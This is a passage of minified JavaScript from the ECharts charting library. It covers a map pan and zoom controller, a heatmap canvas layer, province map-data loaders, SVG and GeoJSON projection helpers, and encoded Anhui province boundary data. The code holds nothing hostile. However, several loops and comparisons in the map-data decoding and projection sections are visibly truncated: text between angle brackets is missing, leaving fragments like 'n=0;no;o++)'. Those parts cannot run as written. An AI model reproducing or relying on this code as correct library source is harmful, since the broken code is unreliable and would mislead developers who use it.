i=e("./base"),n=e("zrender/shape/Rectangle"),a=e("zrender/shape/Sector"),o=e("zrender/shape/Circle"),r=e("../config");r.roamController={zlevel:0,z:4,show:!0,x:"left",y:"top",width:80,height:120,backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,handleColor:"#6495ed",fillerColor:"#fff",step:15,mapTypeControl:null};var s=e("zrender/tool/util"),l=e("zrender/tool/color"),h=e("zrender/tool/event");return t.prototype={type:r.COMPONENT_TYPE_ROAMCONTROLLER,_buildShape:function(){if(this.rcOption.show){this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._buildItem();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildItem:function(){this.shapeList.push(this._getDirectionShape("up")),this.shapeList.push(this._getDirectionShape("down")),this.shapeList.push(this._getDirectionShape("left")),this.shapeList.push(this._getDirectionShape("right")),this.shapeList.push(this._getScaleShape("scaleUp")),this.shapeList.push(this._getScaleShape("scaleDown"))},_getDirectionShape:function(e){var t=this._itemGroupLocation.r,i=this._itemGroupLocation.x+t,n=this._itemGroupLocation.y+t,o={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:i,y:n,r:t,startAngle:-45,endAngle:45,color:this.rcOption.handleColor,text:">",textX:i+t/2+4,textY:n-.5,textAlign:"center",textBaseline:"middle",textPosition:"specific",textColor:this.rcOption.fillerColor,textFont:Math.floor(t/2)+"px arial"},highlightStyle:{color:l.lift(this.rcOption.handleColor,-.2),brushType:"fill"},clickable:!0};switch(e){case"up":o.rotation=[Math.PI/2,i,n];break;case"left":o.rotation=[Math.PI,i,n];break;case"down":o.rotation=[-Math.PI/2,i,n]}return o=new a(o),o._roamType=e,o.onmousedown=this._drictionMouseDown,o.onmouseup=this._drictionMouseUp,o.onmousemove=this._drictionMouseMove,o.onmouseout=this._drictionMouseOut,o},_getScaleShape:function(e){var t=this._itemGroupLocation.width,i=this._itemGroupLocation.height-t;i=0>i?20:i;var n=Math.min(t/2-5,i)/2,a=this._itemGroupLocation.x+("scaleDown"===e?t-n:n),r=this._itemGroupLocation.y+this._itemGroupLocation.height-n,s={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:a,y:r,r:n,color:this.rcOption.handleColor,text:"scaleDown"===e?"-":"+",textX:a,textY:r-2,textAlign:"center",textBaseline:"middle",textPosition:"specific",textColor:this.rcOption.fillerColor,textFont:Math.floor(n)+"px verdana"},highlightStyle:{color:l.lift(this.rcOption.handleColor,-.2),brushType:"fill"},clickable:!0};return s=new o(s),s._roamType=e,s.onmousedown=this._scaleHandler,s},_buildBackground:function(){var e=this.reformCssArray(this.rcOption.padding);this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-e[3],y:this._itemGroupLocation.y-e[0],width:this._itemGroupLocation.width+e[3]+e[1],height:this._itemGroupLocation.height+e[0]+e[2],brushType:0===this.rcOption.borderWidth?"fill":"both",color:this.rcOption.backgroundColor,strokeColor:this.rcOption.borderColor,lineWidth:this.rcOption.borderWidth}}))},_getItemGroupLocation:function(){var e,t=this.reformCssArray(this.rcOption.padding),i=this.rcOption.width,n=this.rcOption.height,a=this.zr.getWidth(),o=this.zr.getHeight();switch(this.rcOption.x){case"center":e=Math.floor((a-i)/2);break;case"left":e=t[3]+this.rcOption.borderWidth;break;case"right":e=a-i-t[1]-t[3]-2*this.rcOption.borderWidth;break;default:e=this.parsePercent(this.rcOption.x,a)}var r;switch(this.rcOption.y){case"top":r=t[0]+this.rcOption.borderWidth;break;case"bottom":r=o-n-t[0]-t[2]-2*this.rcOption.borderWidth;break;case"center":r=Math.floor((o-n)/2);break;default:r=this.parsePercent(this.rcOption.y,o)}return{x:e,y:r,r:i/2,width:i,height:n}},__drictionMouseDown:function(e){this.mousedown=!0,this._drictionHandlerOn(e)},__drictionMouseUp:function(e){this.mousedown=!1,this._drictionHandlerOff(e)},__drictionMouseMove:function(e){this.mousedown&&this._drictionHandlerOn(e)},__drictionMouseOut:function(e){this._drictionHandlerOff(e)},_drictionHandlerOn:function(e){this._dispatchEvent(e.event,e.target._roamType),clearInterval(this.dircetionTimer);var t=this;this.dircetionTimer=setInterval(function(){t._dispatchEvent(e.event,e.target._roamType)},100),h.stop(e.event)},_drictionHandlerOff:function(){clearInterval(this.dircetionTimer)},__scaleHandler:function(e){this._dispatchEvent(e.event,e.target._roamType),h.stop(e.event)},_dispatchEvent:function(e,t){this.messageCenter.dispatch(r.EVENT.ROAMCONTROLLER,e,{roamType:t,mapTypeControl:this.rcOption.mapTypeControl,step:this.rcOption.step},this.myChart)},refresh:function(e){e&&(this.option=e||this.option,this.option.roamController=this.reformOption(this.option.roamController),this.rcOption=this.option.roamController),this.clear(),this._buildShape()}},s.inherits(t,i),e("../component").define("roamController",t),t}),i("echarts/layer/heatmap",["require"],function(){function e(e){if(this.option=e,e)for(var i in t)this.option[i]=void 0!==e[i]?e[i]:t[i];else this.option=t}var t={blurSize:30,gradientColors:["blue","cyan","lime","yellow","red"],minAlpha:.05,valueScale:1,opacity:1},i=20,n=256;return e.prototype={getCanvas:function(e,t,a){var o=this._getBrush(),r=this._getGradient(),s=i+this.option.blurSize,l=document.createElement("canvas");l.width=t,l.height=a;for(var h=l.getContext("2d"),m=e.length,V=0;m>V;++V){var U=e[V],d=U[0],p=U[1],c=U[2],u=Math.min(1,Math.max(c*this.option.valueScale||this.option.minAlpha,this.option.minAlpha));h.globalAlpha=u,h.drawImage(o,d-s,p-s)}for(var y=h.getImageData(0,0,l.width,l.height),g=y.data,m=g.length/4;m--;){var b=4*m+3,u=g[b]/256,f=Math.floor(u*(n-1));g[b-3]=r[4*f],g[b-2]=r[4*f+1],g[b-1]=r[4*f+2],g[b]*=this.option.opacity}return h.putImageData(y,0,0),l},_getBrush:function(){if(!this._brushCanvas){this._brushCanvas=document.createElement("canvas");var e=i+this.option.blurSize,t=2*e;this._brushCanvas.width=t,this._brushCanvas.height=t;var n=this._brushCanvas.getContext("2d");n.shadowOffsetX=t,n.shadowBlur=this.option.blurSize,n.shadowColor="black",n.beginPath(),n.arc(-e,e,i,0,2*Math.PI,!0),n.closePath(),n.fill()}return this._brushCanvas},_getGradient:function(){if(!this._gradientPixels){var e=n,t=document.createElement("canvas");t.width=1,t.height=e;for(var i=t.getContext("2d"),a=i.createLinearGradient(0,0,0,e),o=this.option.gradientColors.length,r=0;o>r;++r)"string"==typeof this.option.gradientColors[r]?a.addColorStop((r+1)/o,this.option.gradientColors[r]):a.addColorStop(this.option.gradientColors[r].offset,this.option.gradientColors[r].color);i.fillStyle=a,i.fillRect(0,0,1,e),this._gradientPixels=i.getImageData(0,0,1,e).data}return this._gradientPixels}},e}),i("echarts/util/mapData/params",["require"],function(e){function t(e){if(!e.UTF8Encoding)return e;for(var t=e.features,n=0;n>1^-(1&r),s=s>>1^-(1&s),r+=n,s+=a,n=r,a=s,i.push([r/1024,s/1024])}return i}var n={none:{getGeoJson:function(e){e({type:"FeatureCollection",features:[{type:"Feature",geometry:{coordinates:[],encodeOffsets:[],type:"Polygon"},properties:{}}]})}},world:{getGeoJson:function(i){e(["./geoJson/world_geo"],function(e){i(t(e))})}},china:{getGeoJson:function(i){e(["./geoJson/china_geo"],function(e){i(t(e))})}},"南海诸岛":{textCoord:[126,25],getPath:function(e,t){for(var i=[[[0,3.5],[7,11.2],[15,11.9],[30,7],[42,.7],[52,.7],[56,7.7],[59,.7],[64,.7],[64,0],[5,0],[0,3.5]],[[13,16.1],[19,14.7],[16,21.7],[11,23.1],[13,16.1]],[[12,32.2],[14,38.5],[15,38.5],[13,32.2],[12,32.2]],[[16,47.6],[12,53.2],[13,53.2],[18,47.6],[16,47.6]],[[6,64.4],[8,70],[9,70],[8,64.4],[6,64.4]],[[23,82.6],[29,79.8],[30,79.8],[25,82.6],[23,82.6]],[[37,70.7],[43,62.3],[44,62.3],[39,70.7],[37,70.7]],[[48,51.1],[51,45.5],[53,45.5],[50,51.1],[48,51.1]],[[51,35],[51,28.7],[53,28.7],[53,35],[51,35]],[[52,22.4],[55,17.5],[56,17.5],[53,22.4],[52,22.4]],[[58,12.6],[62,7],[63,7],[60,12.6],[58,12.6]],[[0,3.5],[0,93.1],[64,93.1],[64,0],[63,0],[63,92.4],[1,92.4],[1,3.5],[0,3.5]]],n="",a=e[0],o=e[1],r=0,s=i.length;s>r;r++){n+="M "+((i[r][0][0]*t+a).toFixed(2)-0)+" "+((i[r][0][1]*t+o).toFixed(2)-0)+" ";for(var l=1,h=i[r].length;h>l;l++)n+="L "+((i[r][l][0]*t+a).toFixed(2)-0)+" "+((i[r][l][1]*t+o).toFixed(2)-0)+" "}return n+" Z"}},"新疆":{getGeoJson:function(i){e(["./geoJson/xin_jiang_geo"],function(e){i(t(e))})}},"西藏":{getGeoJson:function(i){e(["./geoJson/xi_zang_geo"],function(e){i(t(e))})}},"内蒙古":{getGeoJson:function(i){e(["./geoJson/nei_meng_gu_geo"],function(e){i(t(e))})}},"青海":{getGeoJson:function(i){e(["./geoJson/qing_hai_geo"],function(e){i(t(e))})}},"四川":{getGeoJson:function(i){e(["./geoJson/si_chuan_geo"],function(e){i(t(e))})}},"黑龙江":{getGeoJson:function(i){e(["./geoJson/hei_long_jiang_geo"],function(e){i(t(e))})}},"甘肃":{getGeoJson:function(i){e(["./geoJson/gan_su_geo"],function(e){i(t(e))})}},"云南":{getGeoJson:function(i){e(["./geoJson/yun_nan_geo"],function(e){i(t(e))})}},"广西":{getGeoJson:function(i){e(["./geoJson/guang_xi_geo"],function(e){i(t(e))})}},"湖南":{getGeoJson:function(i){e(["./geoJson/hu_nan_geo"],function(e){i(t(e))})}},"陕西":{getGeoJson:function(i){e(["./geoJson/shan_xi_1_geo"],function(e){i(t(e))})}},"广东":{getGeoJson:function(i){e(["./geoJson/guang_dong_geo"],function(e){i(t(e))})}},"吉林":{getGeoJson:function(i){e(["./geoJson/ji_lin_geo"],function(e){i(t(e))})}},"河北":{getGeoJson:function(i){e(["./geoJson/he_bei_geo"],function(e){i(t(e))})}},"湖北":{getGeoJson:function(i){e(["./geoJson/hu_bei_geo"],function(e){i(t(e))})}},"贵州":{getGeoJson:function(i){e(["./geoJson/gui_zhou_geo"],function(e){i(t(e))})}},"山东":{getGeoJson:function(i){e(["./geoJson/shan_dong_geo"],function(e){i(t(e))})}},"江西":{getGeoJson:function(i){e(["./geoJson/jiang_xi_geo"],function(e){i(t(e))})}},"河南":{getGeoJson:function(i){e(["./geoJson/he_nan_geo"],function(e){i(t(e))})}},"辽宁":{getGeoJson:function(i){e(["./geoJson/liao_ning_geo"],function(e){i(t(e))})}},"山西":{getGeoJson:function(i){e(["./geoJson/shan_xi_2_geo"],function(e){i(t(e))})}},"安徽":{getGeoJson:function(i){e(["./geoJson/an_hui_geo"],function(e){i(t(e))})}},"福建":{getGeoJson:function(i){e(["./geoJson/fu_jian_geo"],function(e){i(t(e))})}},"浙江":{getGeoJson:function(i){e(["./geoJson/zhe_jiang_geo"],function(e){i(t(e))})}},"江苏":{getGeoJson:function(i){e(["./geoJson/jiang_su_geo"],function(e){i(t(e))})}},"重庆":{getGeoJson:function(i){e(["./geoJson/chong_qing_geo"],function(e){i(t(e))})}},"宁夏":{getGeoJson:function(i){e(["./geoJson/ning_xia_geo"],function(e){i(t(e))})}},"海南":{getGeoJson:function(i){e(["./geoJson/hai_nan_geo"],function(e){i(t(e))})}},"台湾":{getGeoJson:function(i){e(["./geoJson/tai_wan_geo"],function(e){i(t(e))})}},"北京":{getGeoJson:function(i){e(["./geoJson/bei_jing_geo"],function(e){i(t(e))})}},"天津":{getGeoJson:function(i){e(["./geoJson/tian_jin_geo"],function(e){i(t(e))})}},"上海":{getGeoJson:function(i){e(["./geoJson/shang_hai_geo"],function(e){i(t(e))})}},"香港":{getGeoJson:function(i){e(["./geoJson/xiang_gang_geo"],function(e){i(t(e))})}},"澳门":{getGeoJson:function(i){e(["./geoJson/ao_men_geo"],function(e){i(t(e))})}}};return{decode:t,params:n}}),i("echarts/util/mapData/textFixed",[],function(){return{"广东":[0,-10],"香港":[10,10],"澳门":[-10,18],"黑龙江":[0,20],"天津":[5,5],"深圳市":[-35,0],"红河哈尼族彝族自治州":[0,20],"楚雄彝族自治州":[-5,15],"石河子市":[-5,5],"五家渠市":[0,-10],"昌吉回族自治州":[10,10],"昌江黎族自治县":[0,20],"陵水黎族自治县":[0,20],"东方市":[0,20],"渭南市":[0,20]}}),i("echarts/util/mapData/geoCoord",[],function(){return{Russia:[100,60],"United States of America":[-99,38]}}),i("echarts/util/projection/svg",["require","zrender/shape/Path"],function(e){function t(e){return parseFloat(e||0)}function i(e){for(var i=e.firstChild;"svg"!=i.nodeName.toLowerCase()||1!=i.nodeType;)i=i.nextSibling;var n=t(i.getAttribute("x")),a=t(i.getAttribute("y")),o=t(i.getAttribute("width")),r=t(i.getAttribute("height"));return{left:n,top:a,width:o,height:r}}function n(e,t){function i(e){var t=e.tagName;if(m[t]){var o=m[t](e,n);o&&(o.scale=n,o.properties={name:e.getAttribute("name")||""},o.id=e.id,s(o,e),a.push(o))}for(var r=e.childNodes,l=0,h=r.length;h>l;l++)i(r[l])}var n=[t.scale.x,t.scale.y],a=[];return i(e),a}function a(e,t){var i=t instanceof Array?[1*t[0],1*t[1]]:[1*t.x,1*t.y];return[i[0]/e.scale.x,i[1]/e.scale.y]}function o(e,t){var i=t instanceof Array?[1*t[0],1*t[1]]:[1*t.x,1*t.y];return[i[0]*e.scale.x,i[1]*e.scale.y]}function r(e){return e.replace(/^\s\s*/,"").replace(/\s\s*$/,"")}function s(e,t){var i=t.getAttribute("fill"),n=t.getAttribute("stroke"),a=t.getAttribute("stroke-width"),o=t.getAttribute("opacity");i&&"none"!=i?(e.color=i,n?(e.brushType="both",e.strokeColor=n):e.brushType="fill"):n&&"none"!=n&&(e.strokeColor=n,e.brushType="stroke"),a&&"none"!=a&&(e.lineWidth=parseFloat(a)),o&&"none"!=o&&(e.opacity=parseFloat(o))}function l(e){for(var t=r(e).replace(/,/g," ").split(/\s+/),i=[],n=0;no;o++)if(n=a[o],!n.properties.name||!t[n.properties.name])switch(n.type){case"Feature":r[n.geometry.type](n.geometry.coordinates);break;case"GeometryCollection":i=n.geometries;for(var l=0,h=i.length;h>l;l++)r[i[l].type](i[l].coordinates)}return e.srcSize={left:1*r.xmin.toFixed(4),top:1*r.ymin.toFixed(4),width:1*(r.xmax-r.xmin).toFixed(4),height:1*(r.ymax-r.ymin).toFixed(4)},e}function i(e,i,n){function a(e,t){c=e.type,u=e.coordinates,o._bbox={xmin:360,xmax:-360,ymin:180,ymax:-180},y=o[c](u),m.push({path:y,cp:o.makePoint(t.properties.cp?t.properties.cp:[(o._bbox.xmin+o._bbox.xmax)/2,(o._bbox.ymin+o._bbox.ymax)/2]),properties:t.properties,id:t.id})}n=n||{},o.scale=null,o.offset=null,e.srcSize||t(e,n),i.offset={x:e.srcSize.left,y:e.srcSize.top,left:i.OffsetLeft||0,top:i.OffsetTop||0},o.scale=i.scale,o.offset=i.offset;for(var r,s,l,h=e.features,m=[],V=0,U=h.length;U>V;V++)if(l=h[V],!l.properties.name||!n[l.properties.name])if("Feature"==l.type)a(l.geometry,l);else if("GeometryCollection"==l.type){r=l.geometries;for(var d=0,p=r.length;p>d;d++)s=r[d],a(s,s)}var c,u,y;return m}function n(e,t){var i,n;return t instanceof Array?(i=1*t[0],n=1*t[1]):(i=1*t.x,n=1*t.y),i=i/e.scale.x+e.offset.x-168.5,i=i>180?i-360:i,n=90-(n/e.scale.y+e.offset.y),[i,n]}function a(e,t){return o.offset=e.offset,o.scale=e.scale,o.makePoint(t instanceof Array?[1*t[0],1*t[1]]:[1*t.x,1*t.y])}var o={formatPoint:function(e){return[(e[0]<-168.5&&e[1]>63.8?e[0]+360:e[0])+168.5,90-e[1]]},makePoint:function(e){var t=this,i=t.formatPoint(e);t._bbox.xmin>e[0]&&(t._bbox.xmin=e[0]),t._bbox.xmaxe[1]&&(t._bbox.ymin=e[1]),t._bbox.ymaxn;n++)t=o.makePoint(e[n]),i=0===n?"M"+t.join(","):i+"L"+t.join(",");return i},Polygon:function(e){for(var t="",i=0,n=e.length;n>i;i++)t=t+o.LineString(e[i])+"z";return t},MultiPoint:function(e){for(var t=[],i=0,n=e.length;n>i;i++)t.push(o.Point(e[i]));return t},MultiLineString:function(e){for(var t="",i=0,n=e.length;n>i;i++)t+=o.LineString(e[i]);return t},MultiPolygon:function(e){for(var t="",i=0,n=e.length;n>i;i++)t+=o.Polygon(e[i]);return t}},r={formatPoint:o.formatPoint,makePoint:function(e){var t=this,i=t.formatPoint(e),n=i[0],a=i[1];t.xmin>n&&(t.xmin=n),t.xmaxa&&(t.ymin=a),t.ymaxt;t++)this.makePoint(e[t])},Polygon:function(e){for(var t=0,i=e.length;i>t;t++)this.LineString(e[t])},MultiPoint:function(e){for(var t=0,i=e.length;i>t;t++)this.Point(e[t])},MultiLineString:function(e){for(var t=0,i=e.length;i>t;t++)this.LineString(e[t])},MultiPolygon:function(e){for(var t=0,i=e.length;i>t;t++)this.Polygon(e[t])}};return{getBbox:e,geoJson2Path:i,pos2geo:n,geo2pos:a}}),i("echarts/util/mapData/geoJson/an_hui_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3415",properties:{name:"六安市",cp:[116.3123,31.8329],childNum:6},geometry:{type:"Polygon",coordinates:["@@„„nJ‚UXUVƒ°U„ÑnU@mlLVaVln@@bn@VU@xlb@lšLnKlšƒVI„JšUVxnI@lVL@b„ްVX@˜b„x„nVVUnVVnU‚›@kX@VwV@„al¥UUnUWa@ƒ@wĸU„LU¥lKUa@aUI@alLVaUƒ¯anƒWkUKm@XV@VaXlW@aU_UWVUƒI¯@ma¯W¯™™I@UU@WWU@U@@UU@VkV@@WUUm@UaU@„lK@IUK„L@KWmXUWaXI@ƒ@a@a@U@U@KV¥lw„k°b²JVIVKlV@UX„la„Ul`œUVLVVVUšJ„U@Lnm@_VK@KUIW@™J@Xk@WW@U—ƒmm™XmWk@kK@aUUƒVmmkUwUmWL™@WmU@™UJmUULkKWakLWVkIƒlƒwULƒW@X°lUJ@°ULƒWV—wmJ@bmb¯Vkm@@WkWm¯wƒL@lkXƒWmXym¯UImJUbkV™@Vn¯„@V@lUbƒ@mk@maUxmlUbULWn@J—LmKUkWKkwUKƒbm„X„WxkVUKmLkVV@JUUWL@xkJUUƒV@X@VVlUbVX@xk¤šx‚¼œxWxn„‚nn@Þ¼„JVb°aVn„@šmlnXU„JlbVlkz@‚lUŽlXJmxVxXnWxXÈWlUŽ@šUxU@VX@xUL@šUÆmLnV@lWXk@@JlbXblnlJ"],encodeOffsets:[[118710,33351]]}},{type:"Feature",id:"3408",properties:{name:"安庆市",cp:[116.7517,30.5255],childNum:9},geometry:{type:"Polygon",coordinates:["@@n°‚znW„XlW@k„K°xXn‚l@Xn@l‚°Una@anI˜xXU„ŽVK@¯VIkW¯X@‚„VK„x„klJXUlKXblLVKnVVIšŽV@Xn‚@šŽXKVnVxlŽnn„UlmV@²óUkV™lW„b„lƒšƒn@VVVIn@lw@WVIXblV„@Èx‚aUaVIVVnKVLšK„ƒln@b²K@»U£ƒÑķƒġÝÅb™K™a@Im@ۍ„@kWÓkkmKÅnóJƒUÅ£›W@w„ĕ@wĉţ¯¯ƒUkK±l¯Uƒ¥UÑkÝUķ»Ý¥¯™JƒIUŽVbUl¯ÈV¼VJU¼Vb@bkLUl@„VJ@bUXǚ@lkVmXmKkLVxš‚Ž„VƒL@VkVVVlzW˜kbmLUUUbVbUV™šlÒnJlUnLllUL@bU„Vx„l‚LXVƦÈVU¦WJ"],encodeOffsets:[[118834,31759]]}},{type:"Feature",id:"3411",properties:{name:"滁州市",cp:[118.1909,32.536],childNum:7},geometry:{type:"Polygon",coordinates:["@@š„@`nnl@„xšK@X°KXV˜IXVlbXVWnX‚lL@šÈ»‚LVan@VJ„êVVn@‚X@laÞbVaƒyn@„_‚xnWVXnWl@VnUVkI@l‚nXKVLVV@V@kW@LlVô„@J@bVnnKnkVa@»lç@ƒnwšKma™UUUVњ@n™mWXalI@alVn@VwUaVU„@„nlaôJnU„VVXlJšaXXVK@UšV@VWx@nXVWšXVšUlLUbV‚ULVVnUVbUbVbš@@a„KÆnnKVK@U@UU@@a„@Vƒ°¯ÈJVIlķ@aa˜UaVKU_@mkxUI@aƒUlyU@@™wkKWmUbUnUVWbkJW_J@bƒn@Vm@@KULk@V@@bVbÅm@LW@UVVbkK@UkKWL@VULUKWIUJUbkK@_WVXU›Jka@XƒVa@kšy@aVIUUW@@m„UlLœKWÑUKVan@UkVmmIXKƒaVaUwVU@UmykU¯@±UUL@WUIVUU@KkIWaƒaU@kUUaǃUó»mKƒk¯@y@kWK@bkI¯`mn™l¯XWlkVUzUJlbUbVJl@nnm„@VULV`XnWƗbmUUn™JmUknƒJ¯km@ƒyk@kU›xL@VUbmnn¤lX@`™z@JmaULUVl@Xn@xllkXWa—aW@UVmUbƒ@mVXšWxXbWbUŽƒÒnVVnVVUL"],encodeOffsets:[[120004,33520]]}},{type:"Feature",id:"3418",properties:{name:"宣城市",cp:[118.8062,30.6244],childNum:7},geometry:{type:"Polygon",coordinates:["@@Vb@„XL˜JXxlIXxlVlV@I²¤šnlUnVšU@VULWVUJ@Lnb@lV@UnV@@VVVlLnbnJ‚UVkUUVWn@@anUVnVJVIV‚@@nUJVbUb‚„@VUbVK@bn@VbnIlxkllXVlXKWUXUlL°¤UVVb@bš„UlkXW‚ƒxXz@‚„Ila„UlƒnUlJVInVÆJ„U„LVUnV„K°@VnlVnxV@XLlK@wVL@KnUlJXU˜bnKVLX„lUw@VWlLXKm@@a„@VLnmlIVVnKn@škVašVlwk@@a@k@ƒVIUa™@maUa@wna@kmWƒ™UUmVUIVǗ@aƒKm™aƒ™kU™J@InmUUaVa„k‚lX@Vk@m@VU@wnK@alKVUkUkKƒbmUkmƒ@U£WVk@@UÝbbƒaÇx@b@WVUa¯ƒ@wVwUUV@VwnK@KWaŁ@KšIUyUI@WmXó™UbWaKm™@km@IUyƒIUaWKƒx@zUKUL@llVUnkLVVkJWX@VUKUVƒIkVWakb@VWb@n@JkXUlmL@xkL@`VxšLUÈUJ@Vm@@bmIUlUL@VUVVbknm@mKUw™KVÈ@J@LV±kkJUIƒl"],encodeOffsets:[[120803,31247]]}},{type:"Feature",id:"3412",properties:{name:"阜阳市",cp:[115.7629,32.9919],childNum:6},geometry:{type:"Polygon",coordinates:["@@V™nƒš@ša„k°aš±@‚¥@UUI@aUmlwUUx›b@¥XU@mmI@a@Kn@@_W@@W„I@mšUVVXUl@XaV@‚K@I@a„LX@aVI°K@KVL„UUw‚yXkšK@kšKÆbXnlK@k@a„JlU@w@U@»@aXKWƒn_‚JXkVKnƒ@°LlKXƒW@¯Uƒ@aUK@kmJUw™VƒIUJ™„kŽmL™K@kka@wUVm@@am@UkUbkK@nmVƒÒ¯VU„WVVmIƒƒULk@ƒƒma@kkKƒƒ@nUbUamU™`UUVUkKVkkƒW@@bkmƒnƒmUXVKXVƒL@VƒbU„m‚™bVXJ@nmKÅI@KWKUXVJUL@VUKUX@KUKWL@LUJmaXXm@kVVV@L@VUL@VlK@L@V@LUK@VUb@UUU@°@nVxU`‚Lkn@`@XVJ@X™Vm„k@UKmV¯LVVn±Wm@Ub@JlLUl„@VLk„@lmVVn@bnV@V°IV™šaVJXI°K°V@XXVlVVU„nšKVlUš„bWXnV@bV`U„„@@m@@‚ƒ@nxmn@bXVlL@¤nb„Ul¦šVVUnJVU„Vl@@bÞL"],encodeOffsets:[[118418,34392]]}},{type:"Feature",id:"3413",properties:{name:"宿州市",cp:[117.5208,33.6841],childNum:5},geometry:{type:"Polygon",coordinates:["@@@UWU@bkW@aWU@aUIkWV™lLXb„lVIUVV@‚mn@V_n@VaUK@I‚@UašanJVU„@lV„UVnnKVVlaUa„I@wnK‚Lnll@nVlk@wVKXkl@@b„bUJ@V‚U@U„UUyVk@aVUXwlWXX‚WU¹@aU™@WUI@mlUšn„J@Il@šaXbV@VKl@XxVL@W„IšJlb„@„al@„IUUm@@aVK@¥¯—@mUķ¯bWƒk£Vm@akm@VaÅ@UVWaƒ@UJWkƒJ—UƒbWbU@UlƒXk@ƒamV@K¯nk@ƒlU@Uxmz@bU`ÇbUbÅVm£U@Ww™x@akLUK@UlakwUJWVkLmaUal@n_ƒmVUnKVUUmÅXWa™@kJmx@XUJ@bVLXxl@VVUVV„UbkLWbU@@lUVV„VVX„›K@XkJ@nU@@bV@VxUVlb„U@xXLWŽn@UxVbVĊ„V@b@XV`mnkJ@kUKmbƒaU@VbnbÆx@XU@@`k@@bl„™@@bkL@WƒakXWaU@Vmkx@XWW@@wUUUbƒJ™U¯V™@¯ÞU@WxXŽlL@bkb@ŽlVlnb™JW@kkU@mbkaWJ—IVlmz¯`UnU@mb™@@„ƒ`@bkVlœnV@b@šV@„aVxn@Vx‚KXnl@nbVK„bVK@a„_V@Vƒ„w@W„LlwnK@UmIU@VWš@šUÈ@lKnal„wš@@V°@šaUmlUUw@„ƒV@@UXK"],encodeOffsets:[[119836,35061]]}},{type:"Feature",id:"3410",properties:{name:"黄山市",cp:[118.0481,29.9542],childNum:5},geometry:{type:"Polygon",coordinates:["@@lXnlWX@VUJVnUJVzXJVx„kVJlI²l‚U@K@IUǚLVxnLn@lmUaVU@UVKVknJ@an@@UVIVǙKUw@_lK@wnKVklW@I@mXa@UlaXblU„JVUVL@UXWlIUUlKVmkU@kVKVL@y„wXLVb„JVz@Jlnš@nŽ‚LXbVaôšnW@la@UVWUa@@a@mk@WIk@VwUa¯¥m@UUVK@ImK@aX£ƒkK›ÅV™a™™ƒ_@±ƒakXWW—LƒƒƒnU@@a@¯mK@L™JUWwUV™VmbXX@lWLn`mzUJUb™Lƒ„k@makVWmkX™ambkKknƒaƒ@ƒaƒb@‚U@Unm@—ƒWVƒ@VbUbUJWIk@@lmL@°UVUVm„nš™@@kmWkb@xƒ_m@@aU@b@JlŽUz™lWxXn„@‚b²@l`„IVl„UlL@VšK„nVbUl@VlIn@@b„bVWUk‚@@bX@Valb@bnb°Vn@„xVKlbVnV@V‚x„L@ln@UXVV‚L˜"],encodeOffsets:[[120747,31095]]}},{type:"Feature",id:"3414",properties:{name:"巢湖市",cp:[117.7734,31.4978],childNum:5},geometry:{type:"Polygon",coordinates:["@@VV@blL@ŽXlWnnšnŽ˜„@VXXl@@WšIX@VJ@LšxŎxlnšŽ@bXJVblX@VVbUVn@VbUVlb@LnJVbVLV‚XLšÒVL„ÒšV„bVIVylUXk°Wšknm°_lJ@aXL@l‚z°@„lnLô¼V‚È„VUUaVKU@WW@@UUa@knmVLlaV@„a@kšak±@UmwkKmk™lj™ÝUUkL@mlIVmnÝWkkUÝ@KƑĉ™a@»ƒmma@mX™¤¯Uƒw@ƒ@UU@bU±±L@akmƒ„™LUKmLUUUJVbbÇwƒ@kUWaUJ@Xkxm@UJUUm@™„k„ƒ‚ƒakXUšVl±ôU@kn"],encodeOffsets:[[119847,32007]]}},{type:"Feature",id:"3416",properties:{name:"亳州市",cp:[116.1914,33.4698],childNum:4},geometry:{type:"Polygon",coordinates:["@@lU@Un@@anUlw@KVmUwlaX_lKna@KU@@kWKUU@ankW™XK˜@@V²VVIÈU@al@VaÈamK@wU™@klaUƒV@XƒVUU»WUUbkmUkVmk@aÈw@mWU@VkIkVWKUÑķXȭºU¯lƒ@kkLWmÅa™L@l™LWlzVxƒVUK@L¯LUJ@bWƒK@b@JLU@Wbk@WVUU™V@nƒJ@XX@@`m@@L@bnJ@nWV@¦œa‚wVVkxVn@bVJ@V¦@Ž™²¯bƒl™b™@m„UšUŽƒŽ@¼ƒ¦Xb‚UV`@nnxUxWLkUkVWKkV@XV@@VVL@VX„@lVV@L@blL@`šL@xXKVL‚@„VnUš@lwnU@ml@XnV@@UVW°LnalƒUI@aUK@a‚a@U„kXW@I@mWL@UXK@UVW@U‚@@k„Wn‚@@V„@XblaVxšL@bVKXb„IlJ"],encodeOffsets:[[119183,34594]]}},{type:"Feature",id:"3417",properties:{name:"池州市",cp:[117.3889,30.2014],childNum:4},geometry:{type:"Polygon",coordinates:["@@„V°°ĊŤ@xƒĖ@xœXƤ„VôIÆmnLllXÔ@lƒÜŽn@@JšbšLÆaĢÞĸ„°VVUUKVanK@UV@VL„VVn„ln@‚xnklxXamk@WV@Xa˜@naVk„Klk™@mkUWwkJWw—IWK@ƒUaUwWIUyVIUmVI@UXWmkkW‚—KUUVWm@@kƒKw@U‚UUmkaULƒwm@¯Uma@akaUbW@@a@VlUXƒa@am@kJ@UVkUaƒm™L@UkKƒVUkƒJk_±@aƒ@WmXwÇkkaVaUa±ƒœwV@VkƒwnyUaW@UU¯amLk@m™@kmmU™™¯K@L@lUX¯ƒWlkXƒŽVb„bƒVUL@J@LVKnlJXnlb@`nXlalV@bnL@Vnb˜¼@lXbWlkL™K@zUJmIUxUVUVmX","@@llUL@VlxšL@a@UƒwXa¯@"],encodeOffsets:[[119543,30781],[120061,31152]]}},{type:"Feature",id:"3401",properties:{name:"合肥市",cp:[117.29,32.0581],childNum:4},geometry:{type:"Polygon",coordinates:["@@„L„xV‚ĊLÞkšVlVVXaWaXwW™nU„@‚anVVUX@˜bXblWkk@wWmk@VUVKnb@Išy@_kWm£nmVa@U‚KœwlVl@„zn@°l„IlmnVšIVmnV˜aXÅWmU_VK@Unƒmmk@UIVakaƒa™UƒÑUK™ÑWKUUKUamI@KkaVUUam@VUUa@UkWUaWI@a™kmōw™wUL@`mn@KƒV™IUVUUUK›Vk_ƒVkbWƒ@VkUULUJ±I¯a